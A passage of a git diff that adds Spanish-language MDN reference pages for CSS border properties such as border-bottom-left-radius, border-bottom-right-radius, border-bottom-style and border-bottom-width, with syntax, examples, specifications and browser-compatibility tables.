+<p><span class="comment">Interwiki Languages</span></p>
+</div>
+
+<p>{{ languages( { "de": "de/CSS/border-bottom-color", "en": "en/CSS/border-bottom-color", "fr": "fr/CSS/border-bottom-color", "ja": "ja/CSS/border-bottom-color", "pl": "pl/CSS/border-bottom-color" } ) }}</p>
diff --git a/files/es/web/css/border-bottom-left-radius/index.html b/files/es/web/css/border-bottom-left-radius/index.html
new file mode 100644
index 0000000000..7290aa56c1
--- /dev/null
+++ b/files/es/web/css/border-bottom-left-radius/index.html
@@ -0,0 +1,264 @@
+---
+title: border-bottom-left-radius
+slug: Web/CSS/border-bottom-left-radius
+tags:
+  - Bordes CSS
+  - Propiedad CSS
+  - Referencia
+translation_of: Web/CSS/border-bottom-left-radius
+---
+<div>{{CSSRef}}</div>
+
+<h2 id="Resumen">Resumen</h2>
+
+<p>La propiedad CSS<strong> <code>border-bottom-left-radius</code></strong> establece el redondeo de la esquina inferior izquierda del elemento. El redondeo puede ser un círculo o una elipse, o si uno de los valores es <code>0</code>, no se redondeará la esquina, dejándola cuadrada.</p>
+
+<div style="text-align: center;"><img alt="border-bottom-left-radius.png" class="default internal" src="/@api/deki/files/6136/=border-bottom-left-radius.png"></div>
+
+<p>Un fondo, siendo una imagen o color, está limitado a los bordes, incluso a los redondeados; la posición exacta del corte será definida por el valor de la propiedad {{cssxref("background-clip")}}.</p>
+
+<div class="note">Si el valor de esta propiedad no se establece en una propiedad reducida {{cssxref("border-radius")}} que es aplicada al elemento después de la propiedad <code>border-bottom-left-radius</code>, el valor de esta propiedad es restaurado a su valor inicial por la <a href="/en-US/docs/Web/CSS/Shorthand_properties">propiedad de forma reducida</a>.</div>
+
+<p>{{cssinfo}}</p>
+
+<h2 id="Sintaxis">Sintaxis</h2>
+
+<pre class="brush:css">/* la esquina es un círculo */
+/* border-bottom-left-radius: <em>radius</em> */
+border-bottom-left-radius: 3px;
+
+/* la esquina es una elipse */
+/* border-bottom-left-radius: <em>horizontal</em> <em>vertical</em> */
+border-bottom-left-radius: 0.5em 1em;
+
+border-bottom-left-radius: inherit;
+</pre>
+
+<div style="font-size: 0.9em;">
+<p style="">donde:</p>
+
+<dl style="padding-left: 6em;">
+ <dt style="float: left; width: 7.5em;"><em>radius</em></dt>
+ <dd style="padding-left: 7.5em;">Es un valor {{cssxref("&lt;length&gt;")}} o {{cssxref("&lt;percentage&gt;")}} que denota el radio del círculo que se usará para el borde en esa esquina.</dd>
+ <dt style="float: left; width: 7.5em;"><em>horizontal</em></dt>
+ <dd style="padding-left: 7.5em;">Es un valor {{cssxref("&lt;length&gt;")}} o {{cssxref("&lt;percentage&gt;")}} que denota el eje semi-mayor horizontal de la elipse que se usará en el borde de esa esquina.</dd>
+ <dt style="float: left; width: 7.5em;"><em>vertical</em></dt>
+ <dd style="padding-left: 7.5em;">Es un valor {{cssxref("&lt;length&gt;")}} o {{cssxref("&lt;percentage&gt;")}} que denota el eje semi-mayor vertical de la elipse que se usará en el borde de esa esquina.</dd>
+</dl>
+</div>
+
+<h3 id="Valores">Valores</h3>
+
+<dl>
+ <dt><code>&lt;length&gt;</code></dt>
+ <dd>Denota el tamaño del radio de círculo o del eje semi-mayor o semi-menor de la elipse. Puede ser expresado en cualquier tipo de unidad permitida por el tipo de dato CSS {{cssxref("&lt;length&gt;")}}. Los valores negativos no son válidos.</dd>
+ <dt><code>&lt;percentage&gt;</code></dt>
+ <dd>Denota el tamaño del radio del círculo, o de los ejes semi-mayores y semi-menores de la elipse, usando valores porcentuales. Porcentajes del eje horizontal toman como referencia a la anchura de la caja, y porcentajes del eje vertical toman como referencia la altura de la caja. Los valores negativos no son válidos.</dd>
+</dl>
+
+<h3 id="Sintaxis_formal">Sintaxis formal</h3>
+
+<pre class="syntaxbox">{{csssyntax}}</pre>
+
+<h2 id="Ejemplos">Ejemplos</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th>Ejemplo en vivo</th>
+   <th>Código</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td style="padding: 1.5em;">
+    <div style="background-color: lightgreen; border: solid 1px black; border-bottom-left-radius: 40px 40px; width: 100px; height: 100px;">
+    <div style="display: none;">.</div>
+    </div>
+   </td>
+   <td>Un arco de círculo usado como borde
+    <pre class="brush: css">
+div {
+  border-bottom-left-radius: 40px 40px;
+}
+</pre>
+   </td>
+  </tr>
+  <tr>
+   <td style="padding: 1.5em;">
+    <div style="background-color: lightgreen; border: solid 1px black; border-bottom-left-radius: 40px 20px; width: 100px; height: 100px;">
+    <div style="display: none;">.</div>
+    </div>
+   </td>
+   <td>Un arco de elipse usado como borde
+    <pre class="brush: css">
+div {
+  border-bottom-left-radius: 40px 20px;
+}
+</pre>
+   </td>
+  </tr>
+  <tr>
+   <td style="padding: 1.5em;">
+    <div style="background-color: lightgreen; border: solid 1px black; border-bottom-left-radius: 40%; width: 100px; height: 100px;">
+    <div style="display: none;">.</div>
+    </div>
+   </td>
+   <td>La caja es un cuadro: un arco de círculo es usado como borde
+    <pre class="brush: css">
+div {
+  border-bottom-left-radius: 40%;
+}
+</pre>
+   </td>
+  </tr>
+  <tr>
+   <td style="padding: 1.5em;">
+    <div style="background-color: lightgreen; border: solid 1px black; border-bottom-left-radius: 40%; width: 100px; height: 200px;">
+    <div style="display: none;">.</div>
+    </div>
+   </td>
+   <td>La caja no es un círculo: un arco de elipse es usado como borde
+    <pre class="brush: css">
+div {
+  border-bottom-left-radius: 40%;
+}
+</pre>
+   </td>
+  </tr>
+  <tr>
+   <td style="padding: 1.5em;">
+    <div style="border: black 3px double; border-bottom-left-radius: 40%; height: 100px; width: 100px; background-color: rgb(250,20,70); background-clip: content-box;">
+    <div style="display: none;">.</div>
+    </div>
+   </td>
+   <td>El color de fondo está delimitado al borde
+    <pre class="brush: css">
+div {
+  border-bottom-left-radius:40%;
+  border-style: black 3px double;
+  background-color: rgb(250,20,70);
+  background-clip: content-box;
+}
+</pre>
+   </td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Especificaciones">Especificaciones</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Especificación</th>
+   <th scope="col">Estado</th>
+   <th scope="col">Comentarios</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('CSS3 Backgrounds', '#border-bottom-left-radius', 'border-bottom-left-radius')}}</td>
+   <td>{{Spec2('CSS3 Backgrounds')}}</td>
+   <td>Definición inicial</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilidad_de_navegadores">Compatibilidad de navegadores</h2>
+
+<p>{{CompatibilityTable}}</p>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Característica</th>
+   <th>Chrome</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari (WebKit)</th>
+  </tr>
+  <tr>
+   <td>Soporte básico</td>
+   <td>1.0 {{property_prefix("-webkit")}}<br>
+    4.0</td>
+   <td>1.0 (1.0){{property_prefix("-moz")}}<sup>[1]</sup><br>
+    4.0 (2.0)<sup>[3]</sup></td>
+   <td>9.0</td>
+   <td>10.5</td>
+   <td>3.0 (522){{property_prefix("-webkit")}}<br>
+    5.0 (532.5)</td>
+  </tr>
+  <tr>
+   <td>Porcentajes</td>
+   <td>4.0</td>
+   <td>1.0 (1.0)<sup>[2]</sup><br>
+    4.0 (2.0)</td>
+   <td>9.0</td>
+   <td>10.5</td>
+   <td>5.0 (532.5)</td>
+  </tr>
+  <tr>
+   <td>Esquinas elípticas</td>
+   <td>1.0</td>
+   <td>3.5 (1.9.1)</td>
+   <td>9.0</td>
+   <td>10.5</td>
+   <td>3.0 (522)</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Característica</th>
+   <th>Android</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>IE Phone</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td>Soporte básico</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatVersionUnknown}}<sup>[3]</sup></td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+  </tr>
+  <tr>
+   <td>Porcentajes</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+  </tr>
+  <tr>
+   <td>Esquinas elípticas</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<p>[1] La versión con prefijo (permitida desde Firefox 1 hasta Firefox 12) de esta propiedad usaba otro nombre, <code>-moz-border-radius-bottomleft</code>, distinto al de la propiedad final, ya que Mozilla lo implementó antes de que se determinara el nombre final.</p>
+
+<p>[2] Antes de Firefox 4, el valor {{cssxref("&lt;percentage&gt;")}} era relativo a la anchura de la caja, incluso al especificar el radio para la altura. Esto implicaba que <code>-moz-border-radius-bottomleft</code> siempre dibujaba un arco de círculo, y nunca una elipse, cuando se establecía un valor único.</p>
+
+<p>[3] Previo a Gecko 50.0 {{geckoRelease("50.0")}}, los estilos de bordes de esquinas redondeadas siempre se dibujaban como si <code>border-style</code> tuviera valor <code>solid</code>. Esto fue solucionado en Gecko 50.0.</p>
+
+<p>Además del soporte a la versión sin prefijo, Gecko 44.0 {{geckoRelease("44.0")}} añadió soporte a la versión con prefijo <code>-webkit</code> de la propiedad, por razones de compatibilidad, usando la preferencia <code>layout.css.prefixes.webkit</code>, con valor predeterminado <code>false</code>. Desde Gecko 49.0 {{geckoRelease("49.0")}}, el valor predeterminado de la preferencia es <code>true</code>.</p>
+
+<h2 id="Véase_también">Véase también</h2>
+
+<p>Las propiedades CSS relacionadas con radio de borde: la forma reducida {{cssxref("border-radius")}}, las propiedades de las otras esquinas: {{cssxref("border-top-right-radius")}}, {{cssxref("border-bottom-right-radius")}}, y {{cssxref("border-top-left-radius")}}.</p>
diff --git a/files/es/web/css/border-bottom-right-radius/index.html b/files/es/web/css/border-bottom-right-radius/index.html
new file mode 100644
index 0000000000..1e95cfd6d7
--- /dev/null
+++ b/files/es/web/css/border-bottom-right-radius/index.html
@@ -0,0 +1,264 @@
+---
+title: border-bottom-right-radius
+slug: Web/CSS/border-bottom-right-radius
+tags:
+  - Bordes CSS
+  - Propiedad CSS
+  - Referencia
+translation_of: Web/CSS/border-bottom-right-radius
+---
+<div>{{CSSRef}}</div>
+
+<h2 id="Resumen">Resumen</h2>
+
+<p>La propiedad CSS <strong><code>border-bottom-right-radius</code></strong> establece el redondeo de la esquina inferior derecha del elemento. El redondeo puede ser un círculo o una elipse, o si uno de los valores es <code>0</code>, no se redondeará la esquina, dejándola cuadrada.</p>
+
+<div style="text-align: center;"><img alt="border-bottom-right-radius.png" class="default internal" src="/@api/deki/files/6134/=border-bottom-right-radius.png"></div>
+
+<p>Un fondo, siendo una imagen o color, está limitado a los bordes, incluso a los redondeados; la posición exacta del corte será definida por el valor de la propiedad {{cssxref("background-clip")}}.</p>
+
+<div class="note">Si el valor de esta propiedad no se establece en una propiedad reducida {{cssxref("border-radius")}} que es aplicada al elemento después de la propiedad <code>border-bottom-right-radius</code>, el valor de esta propiedad es restaurado a su valor inicial por la <a href="https://developer.mozilla.org/en-US/docs/Web/CSS/Shorthand_properties">propiedad de forma reducida</a>.</div>
+
+<p>{{cssinfo}}</p>
+
+<h2 id="Sintaxis">Sintaxis</h2>
+
+<pre class="brush:css">/* la esquina es un círculo */
+/* border-bottom-right-radius: <em>radius</em> */
+border-bottom-right-radius: 3px;
+
+/* la esquina es una elipse */
+/* border-bottom-right-radius: horizontal vertical */
+border-bottom-right-radius: 0.5em 1em;
+
+border-bottom-right-radius: inherit;
+</pre>
+
+<div style="font-size: 0.9em;">
+<p style="">donde:</p>
+
+<dl style="padding-left: 6em;">
+ <dt style="float: left; width: 7.5em;"><em>radius</em></dt>
+ <dd style="padding-left: 7.5em;">Es un valor {{cssxref("&lt;length&gt;")}} o {{cssxref("&lt;percentage&gt;")}} que denota el radio del círculo que se usará para el borde en esa esquina.</dd>
+ <dt style="float: left; width: 7.5em;"><em>horizontal</em></dt>
+ <dd style="padding-left: 7.5em;">Es un valor {{cssxref("&lt;length&gt;")}} o {{cssxref("&lt;percentage&gt;")}} que denota el eje semi-mayor horizontal de la elipse que se usará en el borde de esa esquina.</dd>
+ <dt style="float: left; width: 7.5em;"><em>vertical</em></dt>
+ <dd style="padding-left: 7.5em;">Es un valor {{cssxref("&lt;length&gt;")}} o {{cssxref("&lt;percentage&gt;")}} que denota el eje semi-mayor vertical de la elipse que se usará en el borde de esa esquina.</dd>
+</dl>
+</div>
+
+<h3 id="Valores">Valores</h3>
+
+<dl>
+ <dt><code>&lt;length&gt;</code></dt>
+ <dd>Denota el tamaño del radio de círculo o del eje semi-mayor o semi-menor de la elipse. Puede ser expresado en cualquier tipo de unidad permitida por el tipo de dato CSS {{cssxref("&lt;length&gt;")}}. Los valores negativos no son válidos.</dd>
+ <dt><code>&lt;percentage&gt;</code></dt>
+ <dd>Denota el tamaño del radio del círculo, o de los ejes semi-mayores y semi-menores de la elipse, usando valores porcentuales. Porcentajes del eje horizontal toman como referencia a la anchura de la caja, y porcentajes del eje vertical toman como referencia la altura de la caja. Los valores negativos no son válidos.</dd>
+</dl>
+
+<h3 id="Sintaxis_formal">Sintaxis formal</h3>
+
+<pre class="syntaxbox">{{csssyntax}}</pre>
+
+<h2 id="Ejemplos">Ejemplos</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th>Ejemplo en vivo</th>
+   <th>Código</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td style="padding: 1.5em;">
+    <div style="background-color: lightgreen; border: solid 1px black; border-bottom-right-radius: 40px 40px; width: 100px; height: 100px;">
+    <div style="display: none;">.</div>
+    </div>
+   </td>
+   <td>Un arco de círculo usado como borde
+    <pre class="brush: css">
+div {
+  border-bottom-right-radius: 40px 40px;
+}
+</pre>
+   </td>
+  </tr>
+  <tr>
+   <td style="padding: 1.5em;">
+    <div style="background-color: lightgreen; border: solid 1px black; border-bottom-right-radius: 40px 20px; width: 100px; height: 100px;">
+    <div style="display: none;">.</div>
+    </div>
+   </td>
+   <td>Un arco de elipse usado como borde
+    <pre class="brush: css">
+div {
+  border-bottom-right-radius: 40px 20px;
+}
+</pre>
+   </td>
+  </tr>
+  <tr>
+   <td style="padding: 1.5em;">
+    <div style="background-color: lightgreen; border: solid 1px black; border-bottom-right-radius: 40%; width: 100px; height: 100px;">
+    <div style="display: none;">.</div>
+    </div>
+   </td>
+   <td>La caja es un cuadro: un arco de círculo es usado como borde
+    <pre class="brush: css">
+div {
+  border-bottom-right-radius: 40%;
+}
+</pre>
+   </td>
+  </tr>
+  <tr>
+   <td style="padding: 1.5em;">
+    <div style="background-color: lightgreen; border: solid 1px black; border-bottom-right-radius: 40%; width: 100px; height: 200px;">
+    <div style="display: none;">.</div>
+    </div>
+   </td>
+   <td>La caja no es un círculo: un arco de elipse es usado como borde
+    <pre class="brush: css">
+div {
+  border-bottom-right-radius: 40%;
+}
+</pre>
+   </td>
+  </tr>
+  <tr>
+   <td style="padding: 1.5em;">
+    <div style="border: black 3px double; border-bottom-right-radius: 40%; height: 100px; width: 100px; background-color: rgb(250,20,70); background-clip: content-box;">
+    <div style="display: none;">.</div>
+    </div>
+   </td>
+   <td>El color de fondo está delimitado al borde
+    <pre class="brush: css">
+div {
+  border-bottom-right-radius:40%;
+  border-style: black 3px double;
+  background-color: rgb(250,20,70);
+  background-clip: content-box;
+}
+</pre>
+   </td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Especificaciones">Especificaciones</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Especificación</th>
+   <th scope="col">Estado</th>
+   <th scope="col">Comentarios</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('CSS3 Backgrounds', '#border-bottom-right-radius', 'border-bottom-right-radius')}}</td>
+   <td>{{Spec2('CSS3 Backgrounds')}}</td>
+   <td>Definición inicial</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilidad_de_navegadores">Compatibilidad de navegadores</h2>
+
+<p>{{CompatibilityTable}}</p>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Característica</th>
+   <th>Chrome</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari (WebKit)</th>
+  </tr>
+  <tr>
+   <td>Soporte básico</td>
+   <td>1.0 {{property_prefix("-webkit")}}<br>
+    4.0</td>
+   <td>1.0 (1.0){{property_prefix("-moz")}}<sup>[1]</sup><br>
+    4.0 (2.0)<sup>[3]</sup></td>
+   <td>9.0</td>
+   <td>10.5</td>
+   <td>3.0 (522){{property_prefix("-webkit")}}<br>
+    5.0 (532.5)</td>
+  </tr>
+  <tr>
+   <td>Porcentajes</td>
+   <td>4.0</td>
+   <td>1.0 (1.0)<sup>[2]</sup><br>
+    4.0 (2.0)</td>
+   <td>9.0</td>
+   <td>10.5</td>
+   <td>5.0 (532.5)</td>
+  </tr>
+  <tr>
+   <td>Esquinas elípticas</td>
+   <td>1.0</td>
+   <td>3.5 (1.9.1)</td>
+   <td>9.0</td>
+   <td>10.5</td>
+   <td>3.0 (522)</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Característica</th>
+   <th>Android</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>IE Phone</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td>Soporte básico</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatVersionUnknown}}<sup>[3]</sup></td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+  </tr>
+  <tr>
+   <td>Porcentajes</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+  </tr>
+  <tr>
+   <td>Esquinas elípticas</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<p>[1] La versión con prefijo (permitida desde Firefox 1 hasta Firefox 12) de esta propiedad usaba otro nombre, <code>-moz-border-radius-bottomright</code>, distinto al de la propiedad final, ya que Mozilla lo implementó antes de que se determinara el nombre final.</p>
+
+<p>[2] Antes de Firefox 4, el valor {{cssxref("&lt;percentage&gt;")}} era relativo a la anchura de la caja, incluso al especificar el radio para la altura. Esto implicaba que <code>-moz-border-radius-bottomright</code> siempre dibujaba un arco de círculo, y nunca una elipse, cuando se establecía un valor único.</p>
+
+<p>[3] Previo a  Gecko 50.0 {{geckoRelease("50.0")}}, los estilos de bordes de esquinas redondeadas siempre se dibujaban como si <code>border-style</code> tuviera valor <code>solid</code>. Esto fue solucionado en Gecko 50.0.</p>
+
+<p>Además del soporte a la versión sin prefijo, Gecko 44.0 {{geckoRelease("44.0")}} añadió soporte a la versión con prefijo <code>-webkit</code> de la propiedad, por razones de compatibilidad, usando la preferencia <code>layout.css.prefixes.webkit</code>, con valor predeterminado <code>false</code>. Desde Gecko 49.0 {{geckoRelease("49.0")}} el valor predeterminado de la preferencia es <code>true</code>.</p>
+
+<h2 id="Véase_también">Véase también</h2>
+
+<p>Las propiedades CSS relacionadas con radio de borde: la forma reducida {{cssxref("border-radius")}}, las propiedades de las otras esquinas: {{cssxref("border-top-right-radius")}}, {{cssxref("border-top-left-radius")}}, y {{cssxref("border-bottom-left-radius")}}.</p>
diff --git a/files/es/web/css/border-bottom-style/index.html b/files/es/web/css/border-bottom-style/index.html
new file mode 100644
index 0000000000..28f0697b0c
--- /dev/null
+++ b/files/es/web/css/border-bottom-style/index.html
@@ -0,0 +1,102 @@
+---
+title: border-bottom-style
+slug: Web/CSS/border-bottom-style
+tags:
+  - CSS
+  - 'CSS:Referencias'
+  - Todas_las_Categorías
+translation_of: Web/CSS/border-bottom-style
+---
+<p> </p>
+
+<p>&lt;&lt; <a href="/es/Guía_de_referencia_de_CSS" title="es/Guía_de_referencia_de_CSS">Volver</a></p>
+
+<p> </p>
+
+<h3 id="Resumen" name="Resumen">Resumen</h3>
+
+<p><code>border-bottom-style</code> define el estilo de línea del borde inferior de una caja.</p>
+
+<ul>
+ <li>{{ Cssxref("initial", "Valor inicial") }}: {{ Cssxref("none", "ninguno") }}</li>
+ <li>Se aplica a: todos los elementos</li>
+ <li>{{ Cssxref("inheritance", "Valor heredado") }}: no</li>
+ <li>Porcentajes: N/A</li>
+ <li>Medio: {{ Xref_cssvisual() }}</li>
+ <li>{{ Cssxref("computed value", "Valor calculado") }}: como se especificó</li>
+</ul>
+
+<h3 id="Sintaxis" name="Sintaxis">Sintaxis</h3>
+
+<pre class="eval">border-bottom-style: &lt;border-style&gt; | inherit
+</pre>
+
+<h3 id="Valores" name="Valores">Valores</h3>
+
+<dl>
+ <dt>none </dt>
+ <dd>sin borde.</dd>
+ <dt>hidden </dt>
+ <dd>es igual a 'none', excepto en términos de resolución de conflicto para elementos de tabla.</dd>
+ <dt>dotted </dt>
+ <dd>series de puntos (....).</dd>
+ <dt>dashed </dt>
+ <dd>series de guiones cortos o pequeñas líneas (----).</dd>
+ <dt>solid </dt>
+ <dd>línea única, recta y sólida.</dd>
+ <dt>double </dt>
+ <dd>dos líneas rectas que se suman a la cantidad de píxeles definidos como ancho de borde<code>border-width</code>.</dd>
+ <dt>groove </dt>
+ <dd>efecto de hundido.</dd>
+ <dt>ridge </dt>
+ <dd>al revés de 'groove'. El borde aparece en 3D (saliendo).</dd>
+ <dt>inset </dt>
+ <dd>hace que la caja aparezca hundida.</dd>
+ <dt>outset </dt>
+ <dd>opuesto a 'inset'. La caja aparece en 3D (saliendo).</dd>
+</dl>
+
+<h3 id="Propiedades_relacionadas" name="Propiedades_relacionadas">Propiedades relacionadas</h3>
+
+<ul>
+ <li>{{ Cssxref("border-left-style") }}</li>
+ <li>{{ Cssxref("border-right-style") }}</li>
+ <li>{{ Cssxref("border-top-style") }}</li>
+ <li>{{ Cssxref("border-style") }}</li>
+</ul>
+
+<h3 id="Ejemplos" name="Ejemplos">Ejemplos</h3>
+
+<p><a href="/samples/cssref/border.html">Ver El Ejemplo Vivo</a></p>
+
+<pre>element {
+        border-bottom-size: 1px;
+        border-bottom-style: dotted;
+        border-bottom-color: #000;
+}
+</pre>
+
+<h3 id="Notas" name="Notas">Notas</h3>
+
+<p>A menos que un valor {{ Cssxref("border-style") }} sea definido, el borde no aparecerá porque el valor por defecto es 'none'.</p>
+
+<h3 id="Especificaciones" name="Especificaciones">Especificaciones</h3>
+
+<ul>
+ <li><a class="external" href="http://www.w3.org/TR/CSS21/box.html#propdef-border-bottom-style">CSS 2.1</a></li>
+ <li><a class="external" href="http://www.w3.org/TR/css3-background/#border-style">CSS 3</a></li>
+</ul>
+
+<h3 id="Compatibilidades" name="Compatibilidades">Compatibilidades</h3>
+
+<h3 id="Ver_tambi.C3.A9n" name="Ver_tambi.C3.A9n">Ver también</h3>
+
+<p>{{ Cssxref("border-bottom") }}, {{ Cssxref("border-color") }}, {{ Cssxref("border-bottom-style") }}, {{ Cssxref("border-bottom-width") }}</p>
+
+<p> </p>
+
+<div class="noinclude">
+<p><span class="comment">Categorías</span></p>
+<span class="comment">Interwiki Languages</span></div>
+
+<p>{{ languages( { "de": "de/CSS/border-bottom-style", "en": "en/CSS/border-bottom-style", "fr": "fr/CSS/border-bottom-style", "ja": "ja/CSS/border-bottom-style", "pl": "pl/CSS/border-bottom-style" } ) }}</p>
diff --git a/files/es/web/css/border-bottom-width/index.html b/files/es/web/css/border-bottom-width/index.html
new file mode 100644
index 0000000000..5550344a75
--- /dev/null
+++ b/files/es/web/css/border-bottom-width/index.html
@@ -0,0 +1,113 @@
+---
+title: border-bottom-width
+slug: Web/CSS/border-bottom-width
+tags:
+  - CSS
+  - 'CSS:Referencias'
+  - Todas_las_Categorías
+translation_of: Web/CSS/border-bottom-width
+---
+<p> </p>
+
+<p>&lt;&lt; <a href="/es/Guía_de_referencia_de_CSS" title="es/Guía_de_referencia_de_CSS">Volver</a></p>
+
+<h3 id="Resumen" name="Resumen">Resumen</h3>
+
+<p><code>border-bottom-width</code> define el ancho del borde inferior de una caja.</p>
+
+<ul>
+ <li>{{ Cssxref("initial", "Valor inicial") }}: {{ Cssxref("medium", "medio") }}</li>
+ <li>Se aplica a : todos los elementos</li>
+ <li>{{ Cssxref("inheritance", "Valor heredado") }}: no</li>
+ <li>Porcentajes: N/A</li>
+ <li>Medio: {{ Xref_cssvisual() }}</li>
+ <li>{{ Cssxref("computed value", "Valor calculado") }}: largo absoluto o '0' si el estilo es <code>none</code> o <code>hidden</code>.</li>
+</ul>
+
+<h3 id="Sintaxis" name="Sintaxis">Sintaxis</h3>
+
+<pre class="eval">border-bottom-width: &lt;border-width&gt; | inherit
+</pre>
+
+<h3 id="Valores" name="Valores">Valores</h3>
+
+<dl>
+ <dt>thin</dt>
+ <dd>un borde fino.</dd>
+ <dt>medium</dt>
+ <dd>un borde mediano.</dd>
+ <dt>thick</dt>
+ <dd>un borde grueso.</dd>
+ <dt>&lt;length&gt;</dt>
+ <dd>El espesor de un borde tiene un valor explícito. los anchos de borde no pueden ser negativos.<br>
+ Nota : El valor <code>em</code> también es soportada.</dd>
+</dl>
+
+<h3 id="Propiedades_relacionadas" name="Propiedades_relacionadas">Propiedades relacionadas</h3>
+
+<ul>
+ <li>{{ Cssxref("border-left-style") }}</li>
+ <li>{{ Cssxref("border-right-style") }}</li>
+ <li>{{ Cssxref("border-top-style") }}</li>
+ <li>{{ Cssxref("border-style") }}</li>
+</ul>
+
+<h3 id="Ejemplos" name="Ejemplos">Ejemplos</h3>
+
+<p><a href="/samples/cssref/border.html">Ver El Ejemplo Vivo</a></p>
+
+<pre>element {
+    border-bottom-width: thin;
+    border-bottom-style: solid;
+    border-bottom-color: #000;
+}
+</pre>
+
+<h3 id="Especificacions" name="Especificacions">Especificacions</h3>
+
+<ul>
+ <li><a class="external" href="http://www.w3.org/TR/CSS1#border-width">CSS 1</a></li>
+ <li><a class="external" href="http://www.w3.org/TR/CSS21/box.html#border-width-properties">CSS 2.1</a></li>
+ <li><a class="external" href="http://www.w3.org/TR/css3-background/#border-width">CSS 3</a></li>
+</ul>
+
+<h3 id="Compatibilidades" name="Compatibilidades">Compatibilidades</h3>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th>Navegador</th>
+   <th>Versión mínima</th>
+  </tr>
+  <tr>
+   <td>Internet Explorer</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>Firefox</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>Netscape</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>Opera</td>
+   <td> </td>
+  </tr>
+ </tbody>
+</table>
+
+<h3 id="Ver_tambi.C3.A9n" name="Ver_tambi.C3.A9n">Ver también</h3>
+
+<p>{{ Cssxref("border-bottom") }}, {{ Cssxref("border-color") }}, {{ Cssxref("border-bottom-style") }}, {{ Cssxref("border-bottom-width") }}</p>
+
+<p> </p>
+
+<div class="noinclude">
+<p><span class="comment">Categorías</span></p>
+
+<p><span class="comment">Interwiki Languages</span></p>
+</div>
+
+<p>{{ languages( { "de": "de/CSS/border-bottom-width", "en": "en/CSS/border-bottom-width", "pl": "pl/CSS/border-bottom-width", "fr": "fr/CSS/border-bottom-width", "ja": "ja/CSS/border-bottom-width" } ) }}</p>
diff --git a/files/es/web/css/border-bottom/index.html b/files/es/web/css/border-bottom/index.html
new file mode 100644
index 0000000000..3b1774513b
--- /dev/null
+++ b/files/es/web/css/border-bottom/index.html
@@ -0,0 +1,117 @@
+---
+title: border-bottom
+slug: Web/CSS/border-bottom
+tags:
+  - CSS
+  - 'CSS:Referencias'
+  - Todas_las_Categorías
+translation_of: Web/CSS/border-bottom
+---
+<p>&lt;&lt; <a href="/es/Guía_de_referencia_de_CSS" title="es/Guía_de_referencia_de_CSS">Volver</a></p>
+
+<h3 id="Resumen" name="Resumen">Resumen</h3>
+
+<p>La propiedad <code>border-bottom</code> permite de definir de una vez todas las propiedades individuales {{ Cssxref("border-bottom-color") }}, {{ Cssxref("border-bottom-style") }}, y {{ Cssxref("border-bottom-width") }}, las cuales describen el color, estilo y ancho del borde inferior de un elementos.</p>
+
+<ul>
+ <li>{{ Cssxref("initial", "Valor inicial") }}: ver propiedades individuales</li>
+ <li>Se aplica a : todos los elementos</li>
+ <li>{{ Cssxref("inheritance", "Valor heredado") }}: no</li>
+ <li>Porcentajes: N/A</li>
+ <li>Medio: {{ Xref_cssvisual() }}</li>
+ <li>{{ Cssxref("computed value", "Valor calculado") }}: ver propiedades individuales</li>
+</ul>
+
+<h3 id="Sintaxis" name="Sintaxis">Sintaxis</h3>
+
